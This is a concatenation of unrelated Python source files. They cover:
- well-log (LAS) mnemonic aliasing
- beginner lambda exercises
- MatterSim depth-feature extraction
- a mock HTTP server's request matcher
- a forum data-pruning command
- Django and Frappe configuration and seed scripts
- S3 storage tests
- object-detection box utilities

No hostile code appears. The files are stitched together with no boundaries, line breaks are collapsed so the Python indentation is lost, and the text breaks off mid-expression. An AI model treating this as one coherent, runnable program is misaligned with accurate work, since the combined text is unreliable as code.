root.child[j].child.append(Node(i)) j += 1 for i in cali_arr: root.child.append(Node(i)) root.child[j].child.append(Node("caliper")) j += 1 for i in time_arr: root.child.append(Node(i)) root.child[j].child.append(Node("sonic travel time")) j += 1 for i in gr_arr: root.child.append(Node(i)) root.child[j].child.append(Node("gamma ray")) j += 1 for i in sp_arr: root.child.append(Node(i)) root.child[j].child.append(Node("spontaneous potential")) j += 1 root.child.append(Node("photoelectric")) root.child[j].child.append(Node("photoelectric effect")) j += 1 root.child.append(Node("bit")) root.child[j].child.append(Node("bit size")) j += 1 for i in sr_arr: root.child.append(Node(i)) root.child[j].child.append(Node("shallow resistivity")) j += 1 for i in mr_arr: root.child.append(Node(i)) root.child[j].child.append(Node("medium resistivity")) j += 1 for i in dr_arr: root.child.append(Node(i)) root.child[j].child.append(Node("deep resistivity")) j += 1 root.child.append(Node("density")) k = 0 for i in d_arr: root.child[j].child.append(Node(i)) st = "density " + str(i) root.child[j].child[k].child.append(Node(st)) k += 1 root.child[j].child.append(Node("bulk")) root.child[j].child[k].child.append(Node("bulk density")) root.child.append(Node("porosity")) j += 1 k = 0 for i in p_arr: root.child[j].child.append(Node(i)) st = str(i) + " porosity" root.child[j].child[k].child.append(Node(st)) k += 1 for i in p2_arr: root.child[j].child.append(Node(i)) st = "density porosity" root.child[j].child[k].child.append(Node(st)) k += 1 root.child.append(Node("conductivity")) j += 1 k = 0 for i in r_arr: root.child[j].child.append(Node(i)) st = str(i) + " conductivity" root.child[j].child[k].child.append(Node(st)) k += 1 root.child.append(Node("resistivity")) j += 1 k = 0 for i in r_arr: root.child[j].child.append(Node(i)) st = str(i) + " resistivity" root.child[j].child[k].child.append(Node(st)) k += 1 for i in sr_arr: root.child[j].child.append(Node(i)) st = "shallow resistivity" root.child[j].child[k].child.append(Node(st)) k += 1 for i in mr_arr: root.child[j].child.append(Node(i)) st = "medium resistivity" root.child[j].child[k].child.append(Node(st)) k += 1 for i in dr_arr: root.child[j].child.append(Node(i)) st = "deep resistivity" root.child[j].child[k].child.append(Node(st)) k += 1 root.child[j].child.append(Node("micro")) st = "micro resistivity" root.child[j].child[k].child.append(Node(st)) root.child.append(Node("res")) j += 1 k = 0 for i in r_arr: root.child[j].child.append(Node(i)) st = str(i) + " resistivity" root.child[j].child[k].child.append(Node(st)) k += 1 root.child.append(Node("cond")) j += 1 k = 0 for i in r_arr: root.child[j].child.append(Node(i)) st = str(i) + " conductivity" root.child[j].child[k].child.append(Node(st)) k += 1 return root def search(tree, description): """ :param tree: m-ary keyword extractor tree :param description: mnemonic description from LAS file :return: none if keyword does not exist in tree, label if keyword exists in tree Search keyword extractor tree """ arr = [tree] arr = [c for node in arr for c in node.child if c] for i in description.split(): for node in arr: if i == node.key: return search_child(node, description) return None def search_child(node, description): """ :param node: node of m-ary keyword extractor tree :param description: mnemonic description from LAS file :return: none if keyword does not exist in tree, label if keyword exists in tree Search keyword extractor node """ if len(node.child) < 1: return None elif len(node.child) == 1: return node.child[0].key else: for i in description.split(): for child in node.child: if i == child.key: return search_child(child, description) return None class Alias: """ :param dictionary: boolean for dictionary aliasing :param keyword_extractor: boolean for keyword extractor aliasing :param model: boolean for model aliasing :return: dictionary of mnemonics and labels, list of mnemonics that can't be aliased Parses LAS file and returns parsed mnemonics with labels """ # Constructor def __init__( self, dictionary=True, keyword_extractor=True, model=False, prob_cutoff=0.5 ): self.dictionary = dictionary self.keyword_extractor = keyword_extractor self.prob_cutoff = prob_cutoff self.model = model self.duplicate, self.not_found = [], [] self.method, self.probability, self.mnem = [], [], [] self.output = {} def parse(self, path): """ :param path: path to LAS file to be aliased :return: dictionary of mnemonics and labels, list of mnemonics that can't be aliased Parses LAS file and call parsers accordingly """ las = lasio.read(path) mnem, desc = [], [] for key in las.keys(): mnem.append(key.lower()) if str(las.curves[key].descr) == "" and str(las.curves[key].value) == "": desc.append("None") else: desc.append(str(las.curves[key].descr).lower()) print("Reading {} mnemonics...".format(len(mnem))) if self.dictionary is True: self.dictionary_parse(mnem) if self.keyword_extractor is True: self.keyword_parse(mnem, desc) if self.model is True: df = self.make_df(path) self.model_parse(df) formatted_output = {} for key, val in self.output.items(): formatted_output.setdefault(val, []).append(key.upper()) return formatted_output, self.not_found def parse_directory(self, directory): """ :param path: path to directory containing LAS files :return: dictionary of mnemonics and labels, list of mnemonics that can't be aliased Parses LAS files and call parsers accordingly """ comprehensive_dict = {} comprehensive_not_found = [] for filename in os.listdir(directory): if filename.endswith(".las"): path = os.path.join(directory, filename) las = lasio.read(path) mnem, desc = [], [] for key in las.keys(): mnem.append(key.lower()) if ( str(las.curves[key].descr) == "" and str(las.curves[key].value) == "" ): desc.append("None") else: desc.append(str(las.curves[key].descr).lower()) print("Reading {} mnemonics from {}...".format(len(mnem), filename)) if self.dictionary is True: self.dictionary_parse(mnem) if self.keyword_extractor is True: self.keyword_parse(mnem, desc) if self.model is True: df = self.make_df(path) self.model_parse(df) comprehensive_dict.update(self.output) comprehensive_not_found.extend(self.not_found) self.output = {} self.duplicate, self.not_found = [], [] formatted_output = {} for key, val in comprehensive_dict.items(): formatted_output.setdefault(val, []).append(key.upper()) return formatted_output, comprehensive_not_found def heatmap(self): """ Plots a heatmap with mnemonics and prediction probabilities """ df = pd.DataFrame( {"method": self.method, "mnem": self.mnem, "prob": self.probability} ) result = df.pivot(index="method", columns="mnem", values="prob") fig = sns.heatmap(result) return fig def dictionary_parse(self, mnem): """ :param mnem: list of mnemonics :return: None Find exact matches of mnemonics in mnemonic dictionary """ comprehensive_dictionary_csv = get_data_path("comprehensive_dictionary.csv") df = ( pd.read_csv(comprehensive_dictionary_csv) .drop("Unnamed: 0", 1) .reset_index(drop=True) ) print("Alasing with dictionary...") dic = df.apply(lambda x: x.astype(str).str.lower()) aliased = 0 for index, word in enumerate(mnem): if word in dic.mnemonics.unique(): # can be reduced? key = dic.loc[dic["mnemonics"] == word, "label"].iloc[0] self.output[word] = key self.duplicate.append(index) self.mnem.append(word) self.probability.append(1) self.method.append("dictionary") aliased += 1 else: self.not_found.append(word) print("Aliased {} mnemonics with dictionary".format(aliased)) def keyword_parse(self, mnem, desc): """ :param mnem: list of mnemonics :param desc: list of descriptions :return: None Find exact labels of mnemonics with descriptions that can be filtered through keyword extractor tree """ Tree = make_tree() new_desc = [v for i, v in enumerate(desc) if i not in self.duplicate] new_mnem = [v for i, v in enumerate(mnem) if i not in self.duplicate] aliased = 0 print("Alasing with keyword extractor...") for index, word in enumerate(new_desc): key = search(Tree, word) if key is None: if new_mnem[index] not in self.not_found: self.not_found.append(new_mnem[index]) else: self.output[new_mnem[index]] = key self.mnem.append(new_mnem[index]) self.probability.append(1) self.method.append("keyword") if new_mnem[index] in self.not_found: self.not_found.remove(new_mnem[index]) aliased += 1 print("Aliased {} mnemonics with keyword extractor".format(aliased)) def model_parse(self, df): """ :param df: dataframe of curves :return: None Make predictions using pointer generator """ print("Alasing with pointer generator...") path = self.build_test(df) new_dictionary, predicted_prob = make_prediction(path) for key, value in predicted_prob.items(): if float(value) >= self.prob_cutoff: self.output[key] = new_dictionary[key] self.mnem.append(key) self.probability.append(float(value)) self.method.append("model") if key in self.not_found: self.not_found.remove(key) else: self.not_found.append(key) print("Aliased {} mnemonics with pointer generator".format(len(predicted_prob))) def build_test(self, df): """ :param df: dataframe of curves :return: compressed file of summaries used to generate labels Build input file for pointer generator """ data_path = "alaska/data/" test_out = gzip.open(os.path.join(data_path, "input.gz"), "wt") for i in range(len(df)): fout = test_out lst = [df.description[i], df.units[i], df.mnemonics[i]] summary = [df.mnemonics[i]] fout.write(" ".join(lst) + "\t" + " ".join(summary) + "\n") fout.flush() test_out.close() return os.path.join(data_path, "input.gz") def make_df(self, path): """ :param path: path to the LAS file :return: dataframe of curves Build dataframe for pointer generator """ mnem, description, unit = [], [], [] las = lasio.read(path) if self.dictionary is not True and self.keyword_extractor is not True: for key in las.keys(): mnem.append(key.lower()) description.append(str(las.curves[key].descr).lower()) unit.append(str(las.curves[key].unit).lower()) else: for i in self.not_found: mnem.append(i) description.append(str(las.curves[i].descr).lower()) unit.append(str(las.curves[i].unit).lower()) output_df = pd.DataFrame( {"mnemonics": mnem, "description": description, "units": unit} ) return output_df christian1607/python sum = lambda a,b : a + b print("suma: "+ str(sum(1,2))) # Map lambdas names = ["Christian", "yamile", "Anddy", "Lucero", "Evelyn"] names = map(lambda name:name.upper(),names) print(list(names)) def decrement_list (*vargs): return list(map(lambda number: number - 1,vargs)) print(decrement_list(1,2,3)) #all def is_all_strings(lst): return all(type(l) == str for l in lst) print(is_all_strings(['2',3])) #sorted numbers = [2,3,5,1,8,3,7,9,4] print(numbers) print(sorted(numbers)) print(sorted(numbers,reverse=True)) print(numbers) def extremes(ass): return min (ass),max(ass) print(extremes([1,2,3,4,5])) print(extremes("alcatraz")) print(extremes([1,2,3,4,5])) print(all(n%2==0 for n in [10, 2, 0, 4, 4, 4, 40]))import torch import torchvision.models as models import os,sys import numpy as np from matplotlib import pyplot as plt from tqdm import tqdm pwd = os.path.abspath('.') MP3D_build_path = os.path.join(pwd, 'MP3D_Sim', 'build') DASA_path = os.path.join(pwd, 'DASA') sys.path.append(MP3D_build_path) os.chdir(DASA_path) import MatterSim VIEWPOINT_SIZE = 36 # Number of discretized views from one viewpoint FEATURE_SIZE = 2048 BATCH_SIZE = 9 MODEL = 'data/resnet152.pth' OUTFILE = 'data/ResNet-152-imagenet-depth' # Simulator image parameters WIDTH=640 HEIGHT=480 VFOV=60 GPU_ID = 1 vpids = np.load('data/viewpointIds.npy') def normalizaiton(img): _range = np.max(img)-np.min(img) return (img-np.min(img))/(_range+1e-6) def load_model(): resnet152 = models.resnet152(pretrained=False) resnet152.load_state_dict(torch.load(MODEL)) torch.cuda.set_device(GPU_ID) del resnet152.fc resnet152.fc=lambda x:x resnet152 = resnet152.cuda() return resnet152 sim = MatterSim.Simulator() sim.setCameraResolution(WIDTH, HEIGHT) sim.setCameraVFOV(np.radians(VFOV)) sim.setDepthEnabled(True) sim.setDiscretizedViewingAngles(True) sim.setBatchSize(1) sim.initialize() model = load_model() feats = [] for vpid in tqdm(vpids): scanId = vpid[0] viewpointId = vpid[1] depth = [] for ix in range(VIEWPOINT_SIZE): if ix == 0: sim.newEpisode([scanId], [viewpointId], [0], [np.radians(-30)]) elif ix % 12 == 0: sim.makeAction([0], [1.0], [1.0]) else: sim.makeAction([0], [1.0], [0]) state = sim.getState()[0] assert state.viewIndex == ix depth.append(normalizaiton(state.depth)) input_depth = torch.from_numpy(np.array(depth)).float() input_depth = input_depth.repeat(1,1,1,3).permute(0,3,1,2).cuda() feat = [] with torch.no_grad(): for i in range(VIEWPOINT_SIZE//BATCH_SIZE): b_feat = model(input_depth[i*BATCH_SIZE:(i+1)*BATCH_SIZE]) feat.append(b_feat.cpu()) feat = torch.stack(feat,dim=0).view(-1,2048) feats.append(feat.numpy()) np.save(OUTFILE,np.array(feats))#!/usr/bin/env python import re,os import treelib_adapter as Tree import arguments as Arguments from constants import ROOT, PORT from constants import QUERY_DELIMITER as query_delimiter from constants import HEADER_DELIMITER as header_delimiter from constants import EXP_REQUEST, EXP_RESPONSE, EXP_METHOD, EXP_PATH, EXP_QUERY, EXP_HEADERS, EXP_BODY, EXP_STATUS_CODE class Request: def __init__(self, port, method, path, query, headers, body): self.port = port self.method = method self.path = path self.query = query self.headers = headers self.body = body def toString(self): request = "PORT: "+self.port + ">> " + self.method.upper()+" " + self.path if not self.path: request += "/" if self.query: request += "?"+self.query if self.headers: request += " | HEADERS: "+self.headers if self.body: request += " | BODY: "+self.body return request def createTree(): return Tree.createTree() def addNodeToTree(tree, content, nodeId, parentId, nodeInfo): return Tree.addNodeToTree(tree, content, nodeId, parentId, nodeInfo) def addLeafNodeToTree(tree, content, nodeId, parentId, nodeInfo): return Tree.addLeafNodeToTree(tree, content, nodeId, parentId, nodeInfo) def display(tree): Tree.display(tree) def getNodeFromTreeById(node_id, tree): return Tree.getNodeFromTreeById(node_id, tree) def getTagForNode(node): return Tree.getTagForNode(node) def getIdForNode(node): return Tree.getIdForNode(node) def getDirectChildrenForNode(node, tree, nodeInfo=None): return Tree.getDirectChildrenForNode(node, tree, nodeInfo) def populateExpectations(tree, file_name, port_number, expectations): if not tree: tree = createTree() tree = addNodeToTree(tree, port_number, port_number, ROOT, PORT) for expectation in expectations: request_parameters = expectations.get(expectation).get(EXP_REQUEST) if request_parameters is None: request_parameters = {} parent = port_number method = request_parameters.get(EXP_METHOD) if method is None: method = "GET" node_id = parent+":"+method tree = addNodeToTree(tree, method, node_id, parent, EXP_METHOD) parent = node_id path = request_parameters.get(EXP_PATH) if path is None: path = "/" node_id = parent+">"+path tree = addNodeToTree(tree, path, node_id, parent, EXP_PATH) parent = node_id queryList = request_parameters.get(EXP_QUERY) if queryList is not None: queryList.sort() query = query_delimiter.join(queryList) node_id = parent+"?"+query tree = addNodeToTree(tree, query, node_id, parent, EXP_QUERY) parent = node_id headersList = request_parameters.get(EXP_HEADERS) if headersList is not None: headersList.sort() headers = header_delimiter.join(headersList) node_id = parent+"|"+headers tree = addNodeToTree(tree, headers, node_id, parent, EXP_HEADERS) parent = node_id requestBody = request_parameters.get(EXP_BODY) if requestBody is not None: node_id = parent+"|"+requestBody tree = addNodeToTree(tree, requestBody, node_id, parent, EXP_BODY) parent = node_id response = expectations.get(expectation).get(EXP_RESPONSE) if response is None: response = {EXP_STATUS_CODE:200} tree = addLeafNodeToTree(tree, response, file_name+":"+port_number+"/"+expectation, parent, EXP_RESPONSE) return tree def forwardMatchNodes(nodes, value): matching_nodes = [] for node in nodes: if re.match('^'+getTagForNode(node)+'$', value, re.IGNORECASE): matching_nodes.append(node) return matching_nodes def reverseMatchNodes(nodes, value): matching_nodes = [] for node in nodes: node_tag = getTagForNode(node) expected, actual, counter = node_tag.split(header_delimiter), value.split(header_delimiter), 0 for exp in expected: matches = False for act in actual: if re.match('^'+exp+'$', act, re.IGNORECASE): matches = True break if matches: counter += 1 if len(expected) == counter: matching_nodes.append(node) return matching_nodes def getDirectChildrenForNodeList(nodes, tree, node_info): all_children = [] for node in nodes: for children in getDirectChildrenForNode(node, tree, node_info): all_children.append(children) return all_children def getNodesThatMatchRequestComponent(nodes, component, value, tree, reverse_match=False): nodes_for_matching = getDirectChildrenForNodeList(nodes, tree, component) if nodes_for_matching: nodes_that_match = [] if reverse_match: nodes_that_match = reverseMatchNodes(nodes_for_matching, value) else: nodes_that_match = forwardMatchNodes(nodes_for_matching, value) if nodes_that_match: nodes = nodes_that_match else: nodes = filter(lambda x:x not in set(nodes_that_match), nodes) return nodes def getResponseFromExpectations(tree, request): print "Finding response for request {" + request.toString() + "}" port, method, path, query, headers, body = request.port, request.method, request.path, request.query, request.headers, request.body query = query_delimiter.join(sorted(query.split(query_delimiter))) nodes = [] if tree.contains(port): nodes = [getNodeFromTreeById(port, tree)] print "Port: ["+port+"] <> Nodes under observation: "+str([getIdForNode(node) for node in nodes]) nodes = getNodesThatMatchRequestComponent(nodes, EXP_METHOD, method, tree) print "Method: ["+method+"] <> Nodes under observation: "+str([getIdForNode(node) for node in nodes]) nodes = getNodesThatMatchRequestComponent(nodes, EXP_PATH, path, tree) print "Path: ["+path+"] <> Nodes under observation: "+str([getIdForNode(node) for node in nodes]) nodes = getNodesThatMatchRequestComponent(nodes, EXP_QUERY, query, tree) print "Query: ["+query+"] <> Nodes under observation: "+str([getIdForNode(node) for node in nodes]) nodes = getNodesThatMatchRequestComponent(nodes, EXP_HEADERS, headers, tree, True) print "Headers: ["+headers+"] <> Nodes under observation: "+str([getIdForNode(node) for node in nodes]) nodes = getNodesThatMatchRequestComponent(nodes, EXP_BODY, body, tree) print "Body: ["+body+"] <> Nodes under observation: "+str([getIdForNode(node) for node in nodes]) leaf_nodes = getDirectChildrenForNodeList(nodes, tree, EXP_RESPONSE) print "Response candidates: "+str([getIdForNode(node) for node in leaf_nodes]) if len(leaf_nodes) == 1: print "Returning response: "+str(getIdForNode(leaf_nodes[0]))+" for request - {" + request.toString() + "}" response = getTagForNode(leaf_nodes[0]) responseBody = response[EXP_BODY] if responseBody.endswith('.json'): basePath = os.path.dirname(getIdForNode(leaf_nodes[0]).split(':')[0]) responseBody = Arguments.getPathForFile(responseBody,basePath) with open(responseBody, 'r') as response_file: responseBody = response_file.read() response[EXP_BODY] = responseBody return response elif len(leaf_nodes) < 1: raise ValueError("No match found for request - {" + request.toString() + "}") else: node_names = [getIdForNode(leaf_node) for leaf_node in leaf_nodes] raise ValueError("Multiple matches found for request - {" + request.toString() + "} >> Matching nodes: " + str(node_names)) import logging from datetime import datetime, timedelta from django.db.models import Count from django.core.management.base import BaseCommand from biostar.accounts.models import Message, User from biostar.forum.util import now from biostar.forum.models import PostView, Post logger = logging.getLogger('engine') MAX_MSG = 100 def prune_data(weeks=10, days=1): # Delete spam spam_posts = Post.objects.filter(spam=Post.SPAM) logger.info(f"Deleting {spam_posts.count()} spam posts") spam_posts.delete() past_days = now() - timedelta(days=days) post_views = PostView.objects.filter(date__lt=past_days) logger.info(f"Deleting {post_views.count()} post views") post_views.delete() # Reduce overall messages. weeks_since = now() - timedelta(weeks=weeks) messages = Message.objects.filter(sent_at__lt=weeks_since) logger.info(f"Deleting {messages.count()} messages") messages.delete() # Get rid of too many messages users = User.objects.annotate(total=Count("recipients")).filter(total__gt=MAX_MSG)[:100] for user in users: since = now() - timedelta(days=1) Message.objects.filter(user=user, sent_at__lt=since).delete() return class Command(BaseCommand): help = """Delete the following: - posts marked as spam - messages older then 10 weeks - PostView objects within the last day - too many messages in a users inbox """ def handle(self, *args, **options): prune_data()from __future__ import unicode_literals from frappe import _ def get_data(): return [ { "label": _("Documents"), "icon": "icon-star", "items": [ { "type": "doctype", "name": "Assign Tables", "description": _("Assign tables to waiters.") }, { "type": "doctype", "name": "Order Generation", "description": _("Generate order table wise") }, { "type": "doctype", "name": "Search order", "description": _("Details of each Order id.") }, { "type": "doctype", "name": "Purchase", "description": _("Purchase Item") }, { "type": "doctype", "name": "Release To Loose", "description": _("Loose Bottels.") }, { "type": "doctype", "name": "Day Closing", "description": _("For Saving Stock at the end of day") }, { "type": "doctype", "name": "Stock", "description": _("Main Stock Details.") }, { "type": "doctype", "name": "Loose Stock", "description": _("Loose Stock Details.") }, ] }, { "label":_("Standard Reports"), "icon": "icon-star", "items" : [ { "type":"report", "name" :"Cash Sheet", "doctype": "Sale", "is_query_report": True, }, { "type":"report", "name" :"Stock report", "doctype": "Sale", "is_query_report": True, }, ] } ]IV-Group-NO-666/ranbo_project import os os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'ranbo_project.settings') import django django.setup() from ranbo.models import User, Post, Like def populate(): user1_post = [ { 'view_times': 35, 'like_times': 24, 'content': "China's 34th gold! China women's table tennis team defeated Japan 3-0 in the Olympic women's team final", } ] user2_post = [ { 'view_times': 266, 'like_times': 36, 'content': "Today, the Tokyo Olympic Diving women's 10m platform singles final, Tokyo Olympic Team has nine gold and silver sweep! Quan Hongchan gold, Chen Yuxi silver!", }, {'view_times': 654, 'like_times': 459, 'content': "lkasfd laksd naksldn aoi nak n lak na lk"}, {'view_times': 789, 'like_times': 62, 'content': "adsajs o iaja oij aok aoksnd saoid j"} ] user3_post = [ { 'view_times': 489, 'like_times': 152, 'content': "It's a beautiful day!", }, {'view_times': 94, 'like_times': 6, 'content': "asjd ias dbiasj bdiasj dbqwkej bwqk e"} ] user = {'memeda': {'post': user1_post}, 'yingyingying': {'post': user2_post}, 'jijizha': {'post': user3_post}} for user, user_data in user.items(): u = add_user(user) for p in user_data['post']: add_post(u, view_times=p['view_times'], like_times=p['like_times'], content=p['content']) def add_post(user, view_times=0, like_times=0, content=any): p = Post.objects.get_or_create(user=user, content=content)[0] p.view_times = view_times p.like_times = like_times p.save() return p def add_user(username): u = User.objects.get_or_create(username=username)[0] u.save() return u if __name__ == '__main__': print('Starting Ranbo population script...') populate() 0 from django.contrib import admin from .models import User,Profile,InviteOnly admin.site.register(User) admin.site.register(Profile) admin.site.register(InviteOnly) from .signal_base import Signal from .signal_builder import SignalBuilder from .signal_plotter import SignalPlotter from .image_base import SoundImage, Channel #!/usr/bin/env python3 """ A play at multiple inheritance """ class Top(object): """ Stubbed class inherits directly from built-in object class. Allows user to build a cooperative multiple inheritance hierachy that allows the various class constructors to accept varied arguments. All other classes will in the hierachy will be derived directly or indirectly. """ def __init__(self, **kwargs): """ Init """ pass # Terminate the constructor call chain class A(Top): def __init__(self, **kwargs): print('Making an A object') super(A, self).__init__(**kwargs) self.value_A = 0 class B(Top): def __init__(self, **kwargs): print('Making a B object') self.value_B = kwargs['val'] kwargs.pop('val') # Remove the parameter from the kwargs super(B, self).__init__(**kwargs) class C(A, B): def __init__(self, **kwargs): print('Making a C object') super(C, self).__init__(**kwargs) self.value_C = 2 if __name__ == '__main__': c_obj = C(val=5) # Supply keyword arg here print('-------------------') print(c_obj.__dict__)tests/oozer/cold_storage/test_base_store.py # must be first, as it does event loop patching and other "first" things from tests.base.testcase import TestCase, mock import boto3 import config.aws import config.build import xxhash import json import uuid from datetime import date, datetime from io import BytesIO from common.enums.entity import Entity from common.enums.reporttype import ReportType from facebook_business.adobjects.campaign import Campaign from oozer.common import cold_storage from oozer.common.job_scope import JobScope from oozer.common.cold_storage.base_store import _job_scope_to_metadata from tests.base.random import gen_string_id class TestUploadToS3(TestCase): _s3 = boto3.resource('s3', endpoint_url=config.aws.S3_ENDPOINT) _bucket = _s3.Bucket(config.aws.S3_BUCKET_NAME) def setUp(self): super().setUp() self.campaign_id = gen_string_id() self.ad_account_id = gen_string_id() def _fake_data_factory(self, fbid=None, **data): """ Fake campaign factory for testing purposes :return Campaign: Facebook SDK campaign object """ test_campaign = Campaign(fbid or self.campaign_id) test_campaign[Campaign.Field.account_id] = self.ad_account_id test_campaign.update(data) return test_campaign.export_all_data() def _get_s3_object(self, key): """ A helper to download to obtain the S3 object :param string key: The key to lookup :return: """ fileobj = BytesIO() s3_object = self._bucket.Object(key=key) s3_object.download_fileobj(fileobj) fileobj.seek(0) return s3_object, fileobj def test_uploads_data_successfully(self): """ Test the basic upload """ test_campaign = self._fake_data_factory(self.campaign_id, **{Campaign.Field.account_id: self.ad_account_id}) job_scope = JobScope( ad_account_id=self.ad_account_id, entity_id=self.campaign_id, entity_type=Entity.Campaign, report_type=ReportType.entity, range_start='2017-12-31', ) storage_key = cold_storage.store(test_campaign, job_scope) _, fileobj_under_test = self._get_s3_object(storage_key) # Note that the value is an array of one or more elements. # it's always an array assert json.load(fileobj_under_test) == [{"id": self.campaign_id, "account_id": self.ad_account_id}] def test_metadata_stored(self): """ Check we have stored the expected metadata """ test_data = self._fake_data_factory() ctx = JobScope(ad_account_id=test_data[Campaign.Field.account_id], report_type=ReportType.entity) run_start = datetime.utcnow() storage_key = cold_storage.store(test_data, ctx) s3_obj, _ = self._get_s3_object(storage_key) run_end = datetime.utcnow() # .store() generates its own timestamp, so checking # for exact time is not possible. hence we did the _start, _end range. # it must be an ISO string in UTC metadata = {k.lower(): v for (k, v) in s3_obj.metadata.items()} extracted_at = metadata.pop('extracted_at') # this mast parse without errors. # error here means value is not present or is wrong format. dt = datetime.strptime( extracted_at, # '2018-03-10T02:31:44.874854+00:00' '%Y-%m-%dT%H:%M:%S.%f+00:00', ) # some number of microseconds must have passed, # so testing in the range. assert dt >= run_start assert dt <= run_end assert metadata == { 'build_id': config.build.BUILD_ID, 'job_id': ctx.job_id, 'platform': 'fb', 'ad_account_id': ctx.ad_account_id, 'report_type': ReportType.entity, 'platform_api_version': 'v6.0', } class TestingS3KeyGeneration(TestCase): def test_key_s3_date_less(self): """ Check that the key is constructed as we expect """ import common.tztools job_scope = JobScope( ad_account_id=gen_string_id(), report_type=ReportType.entity, report_variant=Entity.Campaign ) now_dt = datetime(2000, 1, 2, 3, 4, 5) with mock.patch.object(common.tztools, 'now', return_value=now_dt) as now_mocked, mock.patch.object( uuid, 'uuid4', return_value='UUID-HERE' ): storage_key = cold_storage.store({'data': 'yeah!'}, job_scope) assert now_mocked.called prefix = xxhash.xxh64(job_scope.ad_account_id).hexdigest()[:6] expected_key = ( f'fb/' + f'{prefix}-{job_scope.ad_account_id}/' + f'{job_scope.report_type}/' + f'{now_dt.strftime("%Y")}/' + f'{now_dt.strftime("%m")}/' + f'{now_dt.strftime("%d")}/' + f'{now_dt.strftime("%Y-%m-%dT%H:%M:%SZ")}-' + f'{job_scope.job_id}-' + f'UUID-HERE' + f'.json' ) assert storage_key == expected_key def test_key_s3_incomprehensible_range_start(self): """ Check that the key is constructed as we expect """ import common.tztools job_scope = JobScope( ad_account_id=gen_string_id(), report_type=ReportType.day_platform, report_variant=Entity.Campaign, range_start='blah-blah', ) # even though range_start is provided ^ above, it's not date-like and we # should be ok with that and just fall back to datetime.utcnow() now_dt = datetime(2000, 1, 2, 3, 4, 5) with mock.patch.object(common.tztools, 'now', return_value=now_dt) as now_mocked, mock.patch.object( uuid, 'uuid4', return_value='UUID-HERE' ): storage_key = cold_storage.store({'data': 'yeah!'}, job_scope) assert now_mocked.called prefix = xxhash.xxh64(job_scope.ad_account_id).hexdigest()[:6] expected_key = ( f'fb/' + f'{prefix}-{job_scope.ad_account_id}/' + f'{job_scope.report_type}/' + f'{now_dt.strftime("%Y")}/' + f'{now_dt.strftime("%m")}/' + f'{now_dt.strftime("%d")}/' + f'{now_dt.strftime("%Y-%m-%dT%H:%M:%SZ")}-' + f'{job_scope.job_id}-' + f'UUID-HERE' + f'.json' ) assert storage_key == expected_key def test_key_s3_date_snapped(self): """ Check that the key is constructed as we expect """ job_scope = JobScope( ad_account_id=gen_string_id(), report_type=ReportType.day_platform, report_variant=Entity.Ad, range_start=date(2000, 1, 2), ) dt_should_be = datetime(2000, 1, 2, 0, 0, 0) with mock.patch.object(uuid, 'uuid4', return_value='UUID-HERE'): storage_key = cold_storage.store({'data': 'yeah!'}, job_scope) prefix = xxhash.xxh64(job_scope.ad_account_id).hexdigest()[:6] expected_key = ( f'fb/' + f'{prefix}-{job_scope.ad_account_id}/' + f'{job_scope.report_type}/' + f'{dt_should_be.strftime("%Y")}/' + f'{dt_should_be.strftime("%m")}/' + f'{dt_should_be.strftime("%d")}/' + f'{dt_should_be.strftime("%Y-%m-%dT%H:%M:%SZ")}-' + f'{job_scope.job_id}-' + f'UUID-HERE' + f'.json' ) assert storage_key == expected_key def test_key_s3_date_snapped_with_chunk_id(self): """ Check that the key is constructed as we expect """ job_scope = JobScope( ad_account_id=gen_string_id(), report_type=ReportType.day_platform, report_variant=Entity.Ad, range_start=date(2000, 1, 2), ) chunk_marker = 7 dt_should_be = datetime(2000, 1, 2, 0, 0, 0) with mock.patch.object(uuid, 'uuid4', return_value='UUID-HERE'): storage_key = cold_storage.store({'data': 'yeah!'}, job_scope, chunk_marker=7) prefix = xxhash.xxh64(job_scope.ad_account_id).hexdigest()[:6] expected_key = ( f'fb/' + f'{prefix}-{job_scope.ad_account_id}/' + f'{job_scope.report_type}/' + f'{dt_should_be.strftime("%Y")}/' + f'{dt_should_be.strftime("%m")}/' + f'{dt_should_be.strftime("%d")}/' + f'{dt_should_be.strftime("%Y-%m-%dT%H:%M:%SZ")}-' + f'{job_scope.job_id}-' + f'{chunk_marker}-' + f'UUID-HERE' + f'.json' ) assert storage_key == expected_key def test__job_scope_to_metadata(): scope = JobScope( job_id='job identifier', namespace='fb', ad_account_id='007', report_type='report type', entity_type=Entity.Campaign, report_variant=Entity.Ad, range_start=datetime.fromtimestamp(1), score=10, ) result = _job_scope_to_metadata(scope) result.pop('extracted_at') result.pop('build_id') assert { 'job_id': 'fb|007|C||report+type|A|1970-01-01T00%3A00%3A01', 'ad_account_id': '007', 'report_type': 'report type', 'entity_type': 'A', 'platform_api_version': 'v6.0', 'platform': 'fb', 'score': '10', } == result 0 import numpy as np import tensorflow as tf import numpy as np ANCHORS = [ [(12, 16), (19, 36), (40, 28)], [(36, 75), (76, 55), (72, 146)], [(142, 110), (192, 243), (459, 401)], ] SCALES = [1.2, 1.1, 1.05] SIZE = 608 def sigmoid(x): return 1 / (1 + tf.math.exp(-x)) def xywh_to_ltrb(boxes): boxes = tf.convert_to_tensor(boxes) x = boxes[..., 0] y = boxes[..., 1] w = boxes[..., 2] h = boxes[..., 3] return tf.stack([x - w / 2, y - h / 2, x + w / 2, y + h / 2], axis=-1) def ltrb_to_xywh(boxes): boxes = tf.convert_to_tensor(boxes) l = boxes[..., 0] t = boxes[..., 1] r = boxes[..., 2] b = boxes[..., 3] return tf.stack([(l + r) / 2, (t + b) / 2, r - l, b - t], axis=-1) def calc_ious(boxes1, boxes2): ltrb1 = xywh_to_ltrb(boxes1) ltrb2 = xywh_to_ltrb(boxes2) il = tf.math.maximum(ltrb1[..., 0], ltrb2[..., 0]) it = tf.math.maximum(ltrb1[..., 1], ltrb2[..., 1]) ir = tf.math.minimum(ltrb1[..., 2], ltrb2[..., 2]) ib = tf.math.minimum(ltrb1[..., 3], ltrb2[..., 3]) I = tf.math.maximum(0.0, ir - il) * tf.math.maximum(0.0, ib - it) A1 = (ltrb1[..., 2] - ltrb1[..., 0]) * (ltrb1[..., 3] - ltrb1[..., 1]) A2 = (ltrb2[..., 2] - ltrb2[..., 0]) * (ltrb2[..., 3] - ltrb2[..., 1]) U = A1 + A2 - I return I / U def calc_gious(boxes1, boxes2): ltrb1 = xywh_to_ltrb(boxes1) ltrb2 = xywh_to_ltrb(boxes2) il = tf.math.maximum(ltrb1[..., 0], ltrb2[..., 0]) it = tf.math.maximum(ltrb1[..., 1], ltrb2[..., 1]) ir = tf.math.minimum(ltrb1[..., 2], ltrb2[..., 2]) ib = tf.math.minimum(ltrb1[..., 3], 